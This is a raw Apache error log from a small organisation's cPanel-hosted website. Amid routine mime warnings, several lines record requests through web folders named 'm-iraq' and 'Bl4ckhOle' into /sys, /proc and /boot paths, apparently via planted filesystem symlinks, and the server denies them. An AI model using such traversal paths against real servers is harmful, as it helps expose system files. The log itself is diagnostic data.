[Fri Jul 17 09:46:20.275134 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:20.293979 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:20.732466 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:20.807786 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:21.348581 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:21.580377 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:21.685484 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:21.696814 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:21.761095 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:22.104410 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/pcspkr/uevent
[Fri Jul 17 09:46:22.714720 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:22.716620 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:22.906072 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:22.934483 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almslvwooI4qY7Jg93pfMAAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:46:22.934528 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almslvwooI4qY7Jg93pfMAAAABM"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:46:23.069308 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:23.069998 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pam/"] [unique_id "almsl5uhBssQvDAz4zCq5gAAABI"]
[Fri Jul 17 09:46:23.070026 2026] [security2:error] [pid 2050576:tid 2050576] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/pam/"] [unique_id "almsl5uhBssQvDAz4zCq5gAAABI"]
[Fri Jul 17 09:46:23.278332 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/devices/serial8250/tty/ttyS2/line
[Fri Jul 17 09:46:23.416838 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:46:23.461760 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:23.686628 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:23.895133 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:24.287361 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.003210 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.156965 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.253949 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.296119 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.366338 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.743199 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:25.790214 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:38490] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:25.836013 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.126323 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hdaudio/devices/hdaudioC0D0/subsystem/uevent
[Fri Jul 17 09:46:26.200557 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.558834 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.581487 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.665363 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.766190 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:26.805420 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:27.059974 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/virtio-pci/unbind
[Fri Jul 17 09:46:27.174750 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:27.286227 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:38556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:27.629364 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:27.794304 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:27.977452 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/pvpanic/uevent
[Fri Jul 17 09:46:28.214626 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:28.356001 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:28.390397 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:28.445786 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:28.545175 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.130021 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.210753 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.250033 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.333062 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.340235 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:38618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:29.376800 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.568101 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:29.882127 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.015004 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.120207 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.213332 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.539065 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.601357 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory65/subsystem/devices/memory87/node0/memory93/subsystem/"] [unique_id "almsnk_0b3nWp8txtSDG6AAAAA0"]
[Fri Jul 17 09:46:30.601411 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory133/subsystem/devices/memory65/subsystem/devices/memory87/node0/memory93/subsystem/"] [unique_id "almsnk_0b3nWp8txtSDG6AAAAA0"]
[Fri Jul 17 09:46:30.696417 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.805726 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:30.962549 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:31.129135 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:31.140784 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:31.327249 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:31.986691 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/sound/hwC0D0/power_off_acct"] [unique_id "almsn7EWOaI5pmYo9fnZCwAAAAA"]
[Fri Jul 17 09:46:31.986737 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/sound/hwC0D0/power_off_acct"] [unique_id "almsn7EWOaI5pmYo9fnZCwAAAAA"]
[Fri Jul 17 09:46:31.993565 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:31.993659 2026] [core:crit] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/boot/efi/EFI/centos/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/boot/efi/EFI/centos/' is executable
[Fri Jul 17 09:46:32.025402 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:32.025518 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/boot/efi/EFI/centos/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/boot/efi/EFI/centos/' is executable
[Fri Jul 17 09:46:32.618748 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/hdaudio/devices/hdaudioC0D0/driver/module/uevent
[Fri Jul 17 09:46:32.899467 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:32.994632 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.115885 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.179181 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.179286 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.179347 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.277032 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.366400 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.468293 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:33.573973 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/tpm_tis/unbind
[Fri Jul 17 09:46:33.769867 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:34.298026 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory61/node0/memory130/subsystem/devices/memory88/node0/memory110/subsystem/"] [unique_id "almsolh1WDijTxd1xw5WLQAAAAc"]
[Fri Jul 17 09:46:34.298096 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.65:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory109/subsystem/devices/memory61/node0/memory130/subsystem/devices/memory88/node0/memory110/subsystem/"] [unique_id "almsolh1WDijTxd1xw5WLQAAAAc"]
[Fri Jul 17 09:46:34.313509 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:34.587614 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:34.986450 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:34.991119 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.069756 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.153921 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.229879 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.229999 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.249391 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.411586 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.612579 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.685345 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:01/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:46:35.778757 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:35.972154 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:36.158113 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:36.346146 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:36.438079 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:36.717639 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/var/tmp/20250923-073741-aNIA7e8-6kwnXkMPnleEYAAAACU-file-1z9KII
[Fri Jul 17 09:46:37.026845 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.116472 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.379765 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:02/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:46:37.548098 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.629139 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.719581 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.810495 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.889449 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.902788 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:37.911589 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.021834 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.084752 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.175294 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.268542 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/hpet/uevent
[Fri Jul 17 09:46:38.371862 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.450461 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.637586 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:38.816975 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.090280 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.240117 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/usb/devices/1-1/subsystem/drivers/usbhid/uevent
[Fri Jul 17 09:46:39.274017 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.611911 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.623239 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.623574 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.630034 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.722427 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:39.727772 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.051951 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.396454 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.415005 2026] [security2:error] [pid 2050572:tid 2050572] [client 47.82.50.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/lib/python3.6/site-packages/dns/__pycache__/reversename.cpython-36.opt-1.pyc"] [unique_id "almsp2uF39UwWB2KWdbS8gAAAA8"]
[Fri Jul 17 09:46:40.415037 2026] [security2:error] [pid 2050572:tid 2050572] [client 47.82.50.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/lib/python3.6/site-packages/dns/__pycache__/reversename.cpython-36.opt-1.pyc"] [unique_id "almsp2uF39UwWB2KWdbS8gAAAA8"]
[Fri Jul 17 09:46:40.493630 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.532290 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.549104 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.549224 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.549265 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:40.893030 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:41.092218 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:41.459293 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 47.82.8.135:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/4:67/uartclk
[Fri Jul 17 09:46:41.530207 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:41.530400 2026] [core:crit] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/tty/driver/' is executable
[Fri Jul 17 09:46:41.545581 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:41.559605 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:41.568414 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:42.074997 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:34990] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:42.568205 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:42.606256 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/tcpci/uevent
[Fri Jul 17 09:46:42.822204 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.096377 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/xhci_hcd/unbind
[Fri Jul 17 09:46:43.188663 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.215344 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.370609 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.436359 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.465602 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.565692 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:35064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:46:43.687617 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:43.905549 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.106770 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.193560 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:01/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:46:44.284821 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.523906 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.607499 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:46:44.652179 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
